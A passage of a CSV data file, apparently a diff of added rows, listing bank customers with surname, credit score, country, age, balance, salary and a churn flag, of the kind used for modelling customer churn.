+8645,15605673,Liang,716,Spain,Female,29,8,0,2,0,0,78616.92,0 +8646,15669282,Uchechukwu,636,France,Female,20,10,124266.86,1,0,0,100566.81,0 +8647,15792726,Sung,470,France,Female,25,8,127974.06,2,1,1,183259.35,0 +8648,15593241,Tochukwu,444,France,Male,43,3,0,2,1,1,159131.21,0 +8649,15683053,Reyna,809,Spain,Female,48,2,0,1,1,0,160976.85,1 +8650,15632736,Liang,850,Germany,Female,30,3,104911.35,2,1,1,42933.26,0 +8651,15731865,Unwin,637,France,Male,27,1,0,2,1,0,91291.2,0 +8652,15760450,Rutherford,512,France,Male,43,1,0,2,1,1,52471.36,0 +8653,15787204,Howe,774,Spain,Female,43,1,110646.54,1,0,0,108804.28,0 +8654,15650454,Tran,641,France,Male,57,5,0,2,1,1,122449.18,0 +8655,15573730,Thompson,586,Germany,Male,42,6,126704.49,2,1,0,41682.3,0 +8656,15705050,Linger,611,France,Male,30,9,0,2,1,1,148887.69,0 +8657,15791342,Johnston,660,Spain,Male,31,1,84560.04,1,1,1,137784.25,0 +8658,15684316,Udokamma,532,France,Male,43,9,0,2,0,0,190573.91,1 +8659,15700540,Barrera,557,Germany,Female,38,2,129893.56,1,0,0,102076.03,0 +8660,15770631,Sutherland,730,Spain,Male,25,5,167385.81,1,1,1,56307.51,0 +8661,15790594,Bednall,535,France,Female,27,6,0,2,0,1,49775.58,0 +8662,15604020,Otoole,773,Germany,Female,36,4,105858.71,1,0,1,4395.45,0 +8663,15637599,Cremonesi,510,Germany,Female,44,4,123070.89,1,1,0,28461.29,1 +8664,15736578,Hamilton,539,France,Male,39,1,0,1,1,1,28184.7,0 +8665,15666332,Donaldson,690,Spain,Female,48,2,0,2,1,1,3149.1,0 +8666,15727291,McKay,821,France,Female,40,1,0,2,1,0,194273.12,0 +8667,15785920,Black,687,Germany,Male,35,1,125141.24,2,1,1,148537.07,0 +8668,15658987,Kane,557,France,Female,46,4,96173.17,2,1,1,116378.31,0 +8669,15687719,She,532,Spain,Female,37,5,0,2,0,1,6761.84,0 +8670,15799641,Bruno,540,Spain,Male,39,2,0,2,1,0,81995.92,0 +8671,15758702,Watson,705,France,Female,55,8,0,2,1,1,14392.68,0 +8672,15689526,Shih,542,Germany,Female,35,9,127543.11,2,1,0,468.94,1 +8673,15586848,Rose,706,France,Male,38,1,0,2,1,0,122379.54,0 +8674,15707637,Zikoranachukwudimma,765,France,Female,56,1,0,1,1,0,13228.93,1 +8675,15719426,Cole,529,France,Male,67,8,103101.56,2,1,1,154002.02,1 +8676,15639265,Isaacs,714,France,Male,54,7,126113.28,1,1,0,112777.38,0 +8677,15576124,Muravyova,582,France,Male,41,1,40488.76,1,1,0,128528.83,0 +8678,15757829,Timperley,609,Germany,Female,40,10,137389.77,2,1,0,170122.22,0 +8679,15633227,Kenechukwu,518,France,Female,28,9,85146.36,1,0,0,2803.89,0 +8680,15753092,He,791,Germany,Male,35,5,129828.58,1,1,1,181918.26,1 +8681,15782939,Storey,747,France,Male,42,4,80214.36,1,1,0,115241.96,1 +8682,15746338,Onyekachukwu,565,France,Female,40,2,0,2,1,1,129956.13,0 +8683,15590676,Kharlamova,735,France,Male,34,1,141796.43,1,1,0,45858.49,0 +8684,15599329,Christopher,697,France,Female,49,7,195238.29,4,0,1,131083.56,1 +8685,15783097,Lombardo,813,Germany,Male,27,6,111348.15,1,1,0,46422.46,0 +8686,15597885,Kerr,772,France,Male,43,6,0,2,1,1,57675.88,0 +8687,15597467,Duncan,606,France,Female,71,8,0,2,1,1,169741.96,0 +8688,15724764,Lawley,667,Germany,Female,42,10,64404.26,2,0,0,26022.37,0 +8689,15778418,Burns,637,Germany,Male,40,9,154309.67,1,1,1,125334.16,1 +8690,15684769,Whitson,542,France,Male,67,10,129431.36,1,0,1,21343.74,0 +8691,15756167,Doyne,762,Spain,Female,43,5,134204.67,1,1,1,139971.01,0 +8692,15632439,Pinto,698,France,Female,39,4,0,2,0,1,47455.82,0 +8693,15755138,Chin,850,France,Female,32,8,0,2,1,1,55593.8,0 +8694,15659092,Davide,621,France,Female,50,5,0,2,1,0,191756.54,1 +8695,15742116,Torres,671,Germany,Female,48,9,116711.06,2,0,0,76373.38,0 +8696,15801994,Buccho,775,France,Male,31,9,0,2,1,0,169278.51,0 +8697,15647572,Greece,504,Spain,Male,34,0,54980.81,1,1,1,136909.88,0 +8698,15644551,Wimble,751,Spain,Female,37,3,99773.85,2,1,0,54865.92,0 +8699,15709135,Pirozzi,691,Germany,Male,30,7,101231.77,2,0,0,156529.44,0 +8700,15684469,Hsiung,841,Germany,Male,32,2,117070.21,1,1,0,113482.2,0 +8701,15627637,Obioma,709,Germany,Male,23,8,73314.04,2,1,0,63446.47,0 +8702,15667093,Onio,673,France,Male,37,2,0,1,1,1,13624.02,0 +8703,15690589,Udinesi,541,France,Male,37,9,212314.03,1,0,1,148814.54,0 +8704,15595350,Fermin,661,France,Female,31,3,136067.82,2,1,0,65567.91,0 +8705,15777586,Moss,784,Spain,Female,42,2,109052.04,2,1,0,6409.55,0 +8706,15804064,Docherty,742,France,Female,35,2,79126.17,1,1,1,126997.53,0 +8707,15717770,Marcelo,850,Spain,Female,55,7,0,1,0,0,171762.87,1 +8708,15754443,Fadden,443,France,Female,35,9,108308,1,1,0,129031.19,1 +8709,15776939,Zox,778,Germany,Female,48,3,102290.56,2,1,0,182691.31,0 +8710,15713517,Otitodilinna,529,France,Male,39,6,102025.08,2,1,0,12351.01,0 +8711,15683522,Kennedy,678,Germany,Female,37,2,113383.07,1,1,1,135123.96,0 +8712,15673995,Tu,516,Spain,Female,65,9,102541.1,1,1,0,181490.42,0 +8713,15771054,Barnes,469,Spain,Male,35,5,0,2,1,0,186490.37,0 +8714,15578788,Bibi,786,Spain,Male,40,6,0,2,0,0,41248.8,0 +8715,15737408,L?,703,France,Female,41,6,109941.51,1,1,0,116267.28,0 +8716,15750837,Landseer,579,Germany,Male,41,0,141749.68,1,0,1,9201.53,0 +8717,15576022,Nwachinemelu,565,France,Male,38,5,0,2,0,1,80630.32,0 +8718,15635502,Ch'iu,443,France,Male,44,2,0,1,1,0,159165.7,0 +8719,15627298,Vinogradova,589,France,Male,37,7,85146.48,2,1,0,86490.09,1 +8720,15811415,Jenks,691,France,Female,44,6,134066.1,2,1,1,197572.41,0 +8721,15645059,Crace,711,France,Female,28,8,0,2,0,0,105159.89,0 +8722,15689671,Packham,775,Spain,Male,27,4,0,1,1,1,40807.26,0 +8723,15718667,T'ien,621,France,Male,35,7,87619.29,1,1,0,143.34,0 +8724,15803202,Onyekachi,350,France,Male,51,10,0,1,1,1,125823.79,1 +8725,15593683,Solomina,668,Spain,Female,30,8,0,2,1,0,138465.7,0 +8726,15703394,Hawes,633,Spain,Male,27,3,0,2,1,0,44008.91,0 +8727,15570289,Benson,697,Germany,Male,43,8,103409.16,1,1,0,66893.28,1 +8728,15567437,Emenike,734,Germany,Female,30,7,123040.38,1,1,1,76503.06,0 +8729,15711687,Nero,434,France,Male,41,4,108128.52,1,0,1,56784.11,0 +8730,15656592,Toscano,646,Germany,Male,48,8,169023.33,2,1,1,175657.55,0 +8731,15634373,Yang,764,France,Male,30,5,0,2,0,1,105155.66,0 +8732,15769125,Palerma,727,Spain,Female,41,10,0,2,0,1,47468.56,0 +8733,15711386,Trentini,724,France,Female,29,6,0,2,0,1,64729.51,0 +8734,15714241,Haddon,749,Spain,Male,42,9,222267.63,1,0,0,101108.85,1 +8735,15642530,Coates,706,Germany,Female,47,10,144090.42,1,1,0,140938.95,1 +8736,15713599,Castiglione,728,France,Male,30,10,114835.43,1,0,1,37662.49,0 +8737,15744770,Stone,636,France,Male,44,2,0,2,0,0,86414.41,0 +8738,15780498,Maynard,634,France,Male,34,3,145030.92,1,1,1,41820.65,0 +8739,15624397,Moore,627,France,Male,43,8,71240.3,1,0,1,127734.16,0 +8740,15615219,Obielumani,518,France,Male,59,5,138772.15,1,0,1,123872,0 +8741,15570908,Harding,687,Spain,Female,29,7,93617.07,1,0,1,113050.92,0 +8742,15762855,Hill,622,Spain,Female,23,8,0,2,1,1,131389.39,0 +8743,15661827,Brown,693,Spain,Female,45,4,0,2,1,1,26589.56,0 +8744,15746035,Pagnotto,450,Spain,Male,25,9,74237.2,2,0,1,195463.35,0 +8745,15691906,Esposito,664,Germany,Female,49,5,127421.78,2,1,0,108876.75,1 +8746,15793424,Tan,663,Spain,Female,28,8,61274.7,2,1,0,136054.45,0 +8747,15577905,Hammond,660,France,Male,34,8,106486.66,2,0,1,182262.66,0 +8748,15667216,Chung,579,France,Female,29,10,73194.52,2,1,1,129209.09,0 +8749,15673971,Houghton,655,Germany,Female,44,6,146498.76,1,1,0,64853.51,1 +8750,15701238,Chia,683,France,Male,47,1,0,2,1,0,148989.15,0 +8751,15644849,Zikoranachidimma,655,France,Female,32,2,0,1,1,1,71047.51,0 +8752,15635531,Boag,575,Spain,Female,30,8,0,2,1,0,185341.63,0 +8753,15632263,Pagnotto,574,Spain,Male,30,5,120355,1,1,0,137793.35,0 +8754,15720110,Oluchukwu,795,France,Male,32,2,117265.21,1,1,1,198317.23,0 +8755,15619045,Baxter,776,France,Female,43,4,0,2,0,1,162137.5,0 +8756,15697510,Tien,707,Spain,Female,52,7,0,1,1,0,109688.82,1 +8757,15784923,Chimezie,705,Germany,Female,37,3,109974.22,1,1,1,36320.87,1 +8758,15567383,Slone,678,Germany,Female,44,2,98009.13,2,0,1,31384.86,0 +8759,15732621,Martin,663,France,Male,34,10,0,1,1,1,114083.73,0 +8760,15757981,Loggia,748,France,Male,66,8,0,1,1,1,163331.65,0 +8761,15727819,Hartley,677,Spain,Female,34,10,171671.9,1,1,1,50777.77,0 +8762,15738088,Parkin,634,Spain,Male,63,10,0,2,1,0,30772.86,1 +8763,15765173,Lin,350,France,Female,60,3,0,1,0,0,113796.15,1 +8764,15665159,Brooks,727,France,Male,61,0,128213.96,2,1,1,188729.08,1 +8765,15618203,Tien,773,Germany,Male,51,8,116197.65,2,1,1,86701.4,0 +8766,15791452,Dann,675,France,Male,39,1,0,2,1,0,153129.22,0 +8767,15638159,Trentino,649,Spain,Female,36,6,86607.39,1,0,0,19825.09,0 +8768,15585466,Russo,552,France,Male,29,10,0,2,1,0,12186.83,0 +8769,15677310,Christie,761,Germany,Male,62,5,98854.34,1,0,0,86920.97,1 +8770,15646262,Ross,622,France,Male,31,7,0,1,1,0,35408.77,0 +8771,15656901,Nnonso,615,France,Male,59,8,0,2,1,1,165576.55,0 +8772,15621093,Teng,681,Germany,Male,31,4,97338.19,2,0,0,48226.76,0 +8773,15592123,Buccho,768,France,Male,30,6,0,2,1,1,199454.37,0 +8774,15589200,Madukaife,617,Spain,Male,34,9,0,2,1,0,118749.58,0 +8775,15602934,Dunn,452,France,Female,33,6,131698.57,2,1,0,151623.91,0 +8776,15812720,Hooker,807,Germany,Male,37,10,130110.45,2,0,1,172097.95,0 +8777,15695383,Griffin,567,Spain,Male,44,9,0,2,1,0,87677.15,0 +8778,15723064,Kistler,603,Spain,Male,24,1,165149.13,2,1,0,21858.28,0 +8779,15761606,Law,617,Spain,Female,37,9,101707.8,1,1,0,123866.28,0 +8780,15650322,Grigoryeva,701,France,Female,34,3,105588.66,1,0,1,74694.41,0 +8781,15669782,Chu,820,Germany,Male,39,9,111336.89,1,1,0,16770.31,1 +8782,15751628,Onyemachukwu,438,France,Male,60,7,78391.17,1,0,1,49424.6,0 +8783,15809057,Lu,600,Spain,Female,27,6,0,2,1,1,172031.22,0 +8784,15617052,Watson,782,France,Male,34,9,0,1,1,0,183021.06,1 +8785,15590810,Fallaci,638,Germany,Female,41,9,144326.09,1,1,0,73979.85,1 +8786,15801293,Ni,850,Germany,Male,27,1,101278.25,2,1,1,26265.18,0 +8787,15770968,Leason,741,Germany,Female,19,8,108711.57,2,1,0,24857.25,0 +8788,15572356,Tsai,689,Spain,Male,73,1,108555.07,1,0,1,167969.15,0 +8789,15603247,Bruner,743,Germany,Female,35,1,146781.24,1,1,0,189307.7,0 +8790,15619116,Wallace,493,France,Female,36,2,0,2,0,1,99770.3,0 +8791,15691792,Young,416,Spain,Male,35,8,0,1,0,0,119712.78,0 +8792,15783276,Forbes,725,France,Female,25,9,0,2,1,1,168607.74,0 +8793,15766137,Muir,497,France,Male,34,2,0,2,1,1,83087.13,0 +8794,15574554,Pugh,537,Germany,Male,66,8,103291.25,2,1,1,130664.79,0 +8795,15578671,Webb,706,Spain,Female,29,1,209490.21,1,1,1,133267.69,1 +8796,15716608,Walker,651,Spain,Male,38,2,0,3,1,0,67029.82,1 +8797,15690670,Cox,720,France,Male,33,2,0,2,0,1,141031.08,0 +8798,15630466,Maclean,797,France,Male,45,8,0,1,0,0,125110.02,0 +8799,15630349,Hollis,543,Spain,Male,23,5,0,2,1,0,117832.39,0 +8800,15803801,Jamieson,454,France,Male,34,4,0,2,1,0,198817.72,0 +8801,15647890,Su,691,France,Male,37,9,149405.18,1,1,1,146411.6,0 +8802,15606115,P'eng,510,France,Female,52,6,191665.21,1,1,1,131312.56,1 +8803,15714642,Hawkins,792,Spain,Female,40,7,0,1,1,0,141652.2,0 +8804,15741181,Ndubuagha,721,France,Male,41,6,135071.12,1,1,1,64477.25,0 +8805,15773973,Hill,765,France,Male,41,2,0,2,0,1,191215.61,0 +8806,15758546,Norton,850,Spain,Male,39,8,0,2,1,1,37090.44,0 +8807,15598940,Achebe,681,Germany,Male,38,6,181804.34,2,1,1,57517.71,0 +8808,15669783,Simpson,586,France,Female,60,3,47020.65,2,0,1,63241.21,1 +8809,15624993,Chiang,753,France,Female,36,7,128518.98,1,1,1,44567.83,1 +8810,15760568,Dalrymple,593,Germany,Female,38,5,142658.04,2,0,1,135337.11,0 +8811,15699047,Chukwuemeka,674,France,Female,21,9,120150.39,2,1,1,33964.03,0 +8812,15616168,Ojiofor,610,France,Female,35,7,81905.95,1,1,1,61623.19,0 +8813,15773146,Rubeo,652,France,Male,26,3,137998.2,2,0,1,168989.77,0 +8814,15770375,Fanucci,850,Germany,Female,26,8,123126.29,1,1,0,74425.41,0 +8815,15589725,Zubarev,740,France,Female,51,4,0,2,1,1,178929.84,0 +8816,15710034,T'ao,637,Germany,Male,43,1,135645.29,2,0,1,101382.86,1 +8817,15800806,Pai,685,Spain,Male,31,7,122449.31,2,1,1,180769.55,0 +8818,15570485,Udegbunam,558,Spain,Male,40,4,161766.87,1,0,0,92378.54,0 +8819,15575391,Claypool,677,France,Female,37,3,0,2,1,1,38252.25,0 +8820,15790750,Manfrin,592,Germany,Male,36,10,123187.51,1,0,1,146111.35,0 +8821,15714832,Baker,652,Germany,Male,36,9,150956.71,1,0,0,72350.17,0 +8822,15619953,Efremov,662,Spain,Female,42,6,105021.28,1,1,0,48242.38,0 +8823,15673929,Chin,543,France,Male,64,4,0,2,1,1,148305.82,0 +8824,15578835,Brookes,675,Spain,Female,50,1,133204.91,1,0,1,8270.06,0 +8825,15752388,Doyle,643,Spain,Female,35,6,0,2,1,1,41549.64,0 +8826,15797081,Ajuluchukwu,611,Germany,Female,49,9,115488.52,2,1,1,138656.81,1 +8827,15570194,Ikemefuna,412,France,Male,29,5,0,2,0,0,12510.53,0 +8828,15580149,Fowler,638,Spain,Male,41,7,0,2,1,0,43889.41,0 +8829,15777708,Liao,824,Spain,Female,38,3,0,2,1,0,192800.25,0 +8830,15769955,Onuora,683,France,Female,40,1,0,2,0,0,75762,0 +8831,15810444,Aksenov,562,Germany,Female,39,6,130565.02,1,1,0,9854.72,1 +8832,15645593,Trevisani,599,France,Female,41,2,91328.71,1,1,0,115724.78,0 +8833,15765345,Wood,753,France,Male,35,4,0,2,1,1,106303.4,0 +8834,15760873,Lombardo,594,France,Male,50,7,81310.34,1,1,1,183868.01,0 +8835,15794178,Walpole,657,France,Male,34,3,107136.6,1,1,0,153895.46,0 +8836,15589361,Chikwendu,716,Spain,Male,34,9,0,1,1,1,66695.71,0 +8837,15662483,Ko,850,France,Male,43,7,0,2,1,1,173851.11,0 +8838,15809736,Steigrad,664,France,Male,46,2,0,1,1,1,177423.02,1 +8839,15731148,Isayeva,558,France,Male,33,0,108477.49,1,1,1,109096.71,1 +8840,15774328,Boni,606,Germany,Male,40,1,144757.97,2,1,1,166656.18,0 +8841,15646969,Anayolisa,776,Spain,Male,33,2,0,2,1,1,176921,0 +8842,15718769,Fallaci,557,Spain,Male,36,1,113110.26,1,1,0,98413.1,0 +8843,15610226,Fenton,614,France,Female,27,9,106414.57,2,0,0,77500.81,0 +8844,15616270,Chao,620,Spain,Male,42,4,106920.91,1,0,1,119747.08,0 +8845,15790717,Osinachi,695,Spain,Male,35,7,0,2,1,0,160387.98,0 +8846,15635703,Chu,729,Germany,Female,39,1,131513.26,1,1,1,193715,0 +8847,15616365,Obiuto,571,France,Female,53,2,0,2,1,0,28045.77,0 +8848,15630244,Chu,457,France,Male,40,10,134320.23,2,1,0,150757.35,0 +8849,15734714,Nash,559,France,Female,29,3,79715.36,1,1,0,82252.28,0 +8850,15721433,Hixson,664,France,Female,38,4,74306.19,2,1,0,154395.56,0 +8851,15590201,Fiorentini,500,Spain,Female,50,5,0,4,1,1,83866.35,1 +8852,15590828,Chidimma,782,Germany,Male,42,7,126428.38,1,1,0,39830.1,0 +8853,15752097,Chiazagomekpere,708,Spain,Male,38,8,99640.89,1,1,0,12429.22,0 +8854,15800031,Laura,681,France,Male,43,3,66338.68,1,1,1,18772.5,1 +8855,15630857,Wu,674,Spain,Female,39,6,0,2,1,1,9574.83,0 +8856,15689953,Toscani,697,Spain,Male,43,10,128226.37,1,0,0,188486.94,0 +8857,15759733,McMillan,774,France,Female,26,5,0,2,1,1,64716.08,0 +8858,15810826,Chiekwugo,624,France,Male,36,6,0,2,0,0,84749.96,0 +8859,15668009,Hendley,747,Spain,Male,37,1,0,2,0,1,180551.76,0 +8860,15743456,Birnie,715,France,Female,32,10,0,2,1,0,60907.49,0 +8861,15725762,Kemp,808,France,Male,24,4,122168.65,1,1,0,174107.04,0 +8862,15761713,Johnstone,678,France,Female,43,7,178074.33,1,0,0,110405.9,0 +8863,15769246,Lo Duca,813,Germany,Male,59,2,135078.41,1,1,0,187636.06,1 +8864,15781129,Montgomery,687,Spain,Male,38,8,69434.4,2,1,1,66580.13,1 +8865,15599124,Miller,832,France,Female,29,5,0,2,1,0,178779.52,0 +8866,15639004,Chiemezie,668,France,Male,72,2,0,2,1,1,70783.61,0 +8867,15810995,Wright,526,Germany,Male,34,3,122726.56,1,1,1,46772.36,0 +8868,15653773,Shaw,457,France,Female,38,7,164496.99,1,1,1,163327.27,0 +8869,15708357,Chapman,649,Spain,Female,38,8,0,1,1,0,103760.53,0 +8870,15733597,Y?an,669,France,Female,41,0,150219.41,2,0,0,107839.03,0 +8871,15789560,Clark,668,France,Male,42,8,187534.79,1,1,1,32900.41,1 +8872,15699524,Howells,466,France,Female,30,3,0,1,1,0,193984.6,0 +8873,15626475,Gamble,685,France,Male,30,2,0,2,1,1,140889.32,0 +8874,15810839,Rogers,610,France,Male,34,0,103108.17,1,0,0,125646.82,0 +8875,15684318,McMillan,582,Germany,Female,50,6,96486.57,2,1,1,20344.02,0 +8876,15768120,Brown,702,Germany,Male,36,9,90560.48,2,1,0,174268.87,0 +8877,15712807,Robertson,556,Spain,Male,46,3,131764.96,1,1,1,108500.66,1 +8878,15696371,Thomas,812,Spain,Female,24,1,92476.88,1,0,0,83247.14,0 +8879,15675794,Hsing,645,Germany,Male,47,9,152076.93,1,1,0,121840.2,1 +8880,15774277,Chiu,809,France,Male,43,2,0,2,1,1,132908.07,0 +8881,15603764,Chang,560,France,Male,49,4,0,1,1,1,100075.1,1 +8882,15618647,Kornilova,744,France,Male,29,1,43504.42,1,1,1,119327.75,0 +8883,15614643,Chifo,731,Spain,Female,39,2,0,2,1,0,136737.13,0 +8884,15707696,Lu,471,Spain,Female,28,5,0,2,1,1,22356.97,0 +8885,15749583,Bellucci,686,Germany,Female,38,2,93569.86,3,0,0,10137.34,1 +8886,15815125,Michael,668,Spain,Male,45,4,102486.21,2,1,1,158379.25,0 +8887,15779620,Sinclair,575,France,Male,36,1,0,1,0,1,94570.56,0 +8888,15768233,Chukwuebuka,435,Germany,Male,37,8,114346.3,1,0,1,980.93,1 +8889,15637788,Schmidt,743,France,Male,23,3,110203.77,1,1,0,95583.45,0 +8890,15777046,Parry,580,France,Female,39,9,128362.59,1,1,0,86044.98,0 +8891,15788723,McIntyre,599,Germany,Female,49,10,143888.22,2,1,1,166236.38,1 +8892,15790489,Lo Duca,534,Spain,Male,34,5,170600.78,1,0,1,5240.53,0 +8893,15739476,Ferrari,680,France,Female,32,5,0,1,1,1,150684.23,0 +8894,15612670,Berry,631,Spain,Female,46,10,0,2,1,1,129508.96,0 +8895,15631222,Cattaneo,485,France,Female,39,2,75339.64,1,1,1,70665.16,0 +8896,15658972,Foster,699,France,Female,40,8,122038.34,1,1,0,102085.35,0 +8897,15724691,Gordon,712,France,Male,34,1,0,2,1,1,195052.12,0 +8898,15740442,May,603,France,Male,51,8,186825.57,1,1,0,93739.71,1 +8899,15760427,Cameron,850,France,Male,40,6,124788.18,1,1,0,65612.12,0 +8900,15677939,Ch'eng,584,France,Female,41,3,0,2,1,1,160095.48,0 +8901,15611599,Curtis,604,France,Female,71,2,0,2,1,1,49506.82,0 +8902,15633474,Whitehead,586,France,Male,51,2,138553.57,1,1,1,92406.22,0 +8903,15671973,Chukwuemeka,467,Spain,Male,39,5,0,2,1,1,7415.96,0 +8904,15790019,Onwughara,520,France,Male,35,9,105387.89,1,1,1,25059.06,0 +8905,15737735,Grant,683,Spain,Male,40,4,95053.1,1,1,1,116816.54,1 +8906,15661745,Browne,557,France,Male,36,3,0,1,0,1,144078.02,0 +8907,15797065,Goloubev,613,Spain,Female,32,0,0,2,0,1,126675.62,0 +8908,15710671,Gordon,786,France,Male,34,3,137361.96,1,0,0,183682.09,0 +8909,15656522,Sutherland,593,Spain,Male,32,10,158537.42,1,1,0,166850.57,0 +8910,15705085,Quesada,670,Spain,Female,29,9,0,2,1,0,27359.19,0 +8911,15744873,Wright,657,Germany,Female,48,5,143595.87,1,0,0,101314.65,1 +8912,15781914,Simmons,718,Germany,Male,32,9,169947.41,2,1,1,27979.16,0 +8913,15637354,Yobachukwu,623,France,Female,24,7,148167.83,2,1,1,109470.34,0 +8914,15717307,Read,496,France,Male,31,5,0,2,1,0,93713.13,0 +8915,15746695,Wunder,429,France,Female,39,6,48023.83,1,1,0,74870.99,0 +8916,15804962,Nnaife,606,France,Male,36,1,155655.46,1,1,1,192387.51,1 +8917,15665378,Shen,499,France,Female,46,6,0,2,1,0,73457.55,0 +8918,15757865,Powell,642,France,Male,62,7,0,2,1,1,61120.75,0 +8919,15578787,Goddard,641,France,Female,52,4,0,1,1,0,90964.54,1 +8920,15794323,Buckley,673,France,Male,32,8,121240.76,1,1,0,116969.73,0 +8921,15697546,McIntyre,570,France,Female,36,3,0,2,1,0,92118.75,0 +8922,15629519,Yen,472,France,Female,37,1,0,2,1,1,48357.9,0 +8923,15624703,Okonkwo,550,Germany,Male,35,9,129847.75,2,1,0,197325.4,0 +8924,15570002,Burlingame,625,Germany,Female,55,8,118772.71,4,0,0,135853.62,1 +8925,15808566,Hs?,516,France,Male,46,2,0,2,1,1,169122.54,0 +8926,15805463,Board,682,Germany,Male,32,2,105163.88,2,1,1,164170.46,0 +8927,15709136,Adams,620,France,Male,28,8,0,2,1,1,199909.32,0 +8928,15801605,Rizzo,626,France,Female,39,0,0,2,1,1,83295.09,0 +8929,15567855,Chukwufumnanya,623,France,Female,29,1,0,2,0,0,39382.06,0 +8930,15675141,Fraser,569,France,Female,35,4,93934.63,1,1,0,184748.23,0 +8931,15665759,Russell,724,France,Female,69,5,117866.92,1,1,1,62280.91,0 +8932,15761487,Yefimova,678,France,Female,55,5,0,1,0,1,196794.11,1 +8933,15700394,Palermo,713,Spain,Female,26,4,122857.46,2,1,0,144682.17,1 +8934,15631162,Bergamaschi,631,France,Male,32,10,0,2,0,1,196342.66,0 +8935,15630641,Shao,846,France,Female,37,6,127103.97,1,1,1,41516.44,0 +8936,15585066,Chimaraoke,660,France,Female,43,1,0,1,0,1,112026.1,1 +8937,15722991,McGregor,567,France,Male,54,9,96402.96,1,0,0,52035.29,1 +8938,15737404,Kesteven,731,France,Male,31,1,132512.26,1,1,1,185466.85,0 +8939,15722409,Ritchie,693,Spain,Male,47,8,107604.66,1,1,1,80149.27,0 +8940,15806420,Jenks,772,France,Male,34,9,0,2,1,0,170980.86,0 +8941,15658148,Udokamma,657,France,Male,38,7,0,2,1,0,185827.74,0 +8942,15810660,Boyle,774,Germany,Male,34,4,120875.23,2,0,1,113407.26,0 +8943,15709780,Azuka,667,France,Female,37,9,71786.9,2,1,1,67734.79,0 +8944,15727350,Pai,516,France,Female,37,8,113143.12,1,0,0,3363.36,0 +8945,15752312,Howells,551,Spain,Male,49,1,150777.72,2,1,1,135757.27,0 +8946,15616745,Hs?,542,Spain,Male,35,2,174894.53,1,1,1,22314.55,0 +8947,15572294,Kelly,623,France,Male,28,7,0,1,0,0,129526.57,0 +8948,15674110,Walton,701,France,Female,43,2,160416.56,1,0,1,37266.43,0 +8949,15662501,Ebelechukwu,583,France,Male,48,3,91246.53,1,1,0,60017.46,1 +8950,15649239,Vasilieva,731,Spain,Male,46,10,0,2,1,0,153015.42,0 +8951,15700424,Hsiao,461,France,Female,35,5,0,1,1,1,54209.02,0 +8952,15636388,Abrego,702,Germany,Female,23,7,98775.23,1,1,0,114603.96,0 +8953,15713975,Gibson,565,Germany,Female,47,10,139756.12,1,1,0,165849.49,1 +8954,15592925,Giordano,711,Spain,Male,42,3,177626.77,3,0,1,16392.72,1 +8955,15581626,Mancini,664,France,Male,54,8,0,1,1,1,162719.69,1 +8956,15641319,Afanasyeva,518,Spain,Male,50,4,0,1,0,0,107112.25,1 +8957,15723481,Wright,728,Spain,Male,42,8,0,2,0,1,41823.22,0 +8958,15787825,Okwudiliolisa,585,Germany,Male,37,6,152496.82,1,1,1,99907.29,0 +8959,15710726,Hughes,573,France,Male,52,8,0,2,0,1,178229.04,0 +8960,15627195,Parrott,568,Germany,Male,26,1,112930.28,2,1,0,22095.73,0 +8961,15657957,Hughes,602,Germany,Female,26,8,113674.2,1,1,0,197861.16,1 +8962,15676117,Zinachukwudi,603,France,Male,44,9,0,1,1,0,138328.24,0 +8963,15607874,Keane,687,France,Male,38,0,144450.58,1,0,1,137276.83,0 +8964,15796993,McCollum,741,France,Male,52,1,171236.3,2,0,0,21834.4,1 +8965,15649858,Simpson,469,Spain,Male,37,9,96776.49,1,1,1,119890.86,0 +8966,15811032,Gambrell,477,Germany,Female,58,8,145984.92,1,1,1,24564.7,0 +8967,15679963,Moretti,737,Germany,Male,43,8,96353.8,1,0,0,10209.8,0 +8968,15579131,Ricci,835,France,Male,25,7,0,2,1,1,83449.65,0 +8969,15572428,Rieke,717,Germany,Female,33,0,115777.23,1,1,1,81508.1,0 +8970,15622461,Ndubuagha,562,France,Female,51,7,122822,2,0,0,32626.21,0 +8971,15636105,Chung,758,Spain,Male,61,2,0,2,1,1,43982.41,0 +8972,15583849,Ts'ai,408,France,Male,40,3,0,2,0,0,124874.23,0 +8973,15718780,Cox,650,Spain,Female,32,4,79450.09,1,1,1,118324.75,0 +8974,15739271,Lei,582,Germany,Male,33,2,122394,1,1,1,22113.93,0 +8975,15697129,Ulyanova,706,Spain,Female,43,1,0,2,1,0,31962.77,0 +8976,15763415,Gray,567,Germany,Male,41,0,134378.89,1,1,1,105746.94,0 +8977,15796617,McGregor,720,France,Male,29,2,0,2,1,0,39925.52,0 +8978,15626628,Tretiakova,631,Spain,Female,31,2,88161.85,2,1,0,127630.88,0 +8979,15765857,Genovesi,623,Spain,Male,41,2,142412.13,1,1,0,28778.98,0 +8980,15742511,Gordon,514,France,Male,35,3,121030.9,1,1,0,10008.68,0 +8981,15786433,Aitken,650,Germany,Female,35,3,165982.43,2,1,1,24482.16,0 +8982,15685805,Ginikanwa,673,Spain,Female,35,6,0,2,1,0,98618.79,0 +8983,15627971,Coates,504,France,Female,32,8,206663.75,1,0,0,16281.94,0 +8984,15783025,Piazza,723,Germany,Male,37,3,94661.53,2,1,0,121239.65,0 +8985,15726289,Cawood,645,France,Male,25,0,174400.36,1,1,0,42669.37,0 +8986,15802118,Ignatieff,664,Spain,Male,41,7,123428.69,1,1,1,164924.11,0 +8987,15607990,Gallo,760,Spain,Male,43,6,175735.5,1,1,1,157337.29,0 +8988,15695932,Yelverton,766,Spain,Male,36,5,78381.13,1,0,1,153831.6,0 +8989,15812279,William,634,France,Male,37,5,115345.86,2,0,0,168781.8,0 +8990,15687558,Mault,640,Germany,Female,31,10,118613.34,1,1,0,168469.65,0 +8991,15729065,Mackay,784,Germany,Male,28,2,109960.06,2,1,1,170829.87,0 +8992,15698902,McIntyre,547,Germany,Female,42,1,142703.4,1,1,0,86207.49,1 +8993,15570192,Henry,608,Germany,Female,40,8,121729.42,1,0,0,61164.45,0 +8994,15809265,Kao,547,France,Female,35,4,0,1,1,1,133287.73,0 +8995,15745201,Frewin,612,France,Female,43,4,139496.35,2,1,1,77128.23,0 +8996,15580623,Yefremova,573,Spain,Male,28,8,0,2,0,0,77660.03,0 +8997,15578156,Anenechukwu,615,Spain,Male,32,5,138521.83,1,1,1,56897.1,0 +8998,15631063,Trentino,710,France,Female,33,2,0,2,1,0,72945.32,0 +8999,15692577,Tomlinson,674,Germany,Female,38,10,83727.68,1,1,0,45418.12,0 +9000,15810910,Royston,702,Spain,Female,38,9,0,2,1,1,158527.45,0 +9001,15723217,Cremonesi,616,France,Male,37,9,0,1,1,0,111312.96,0 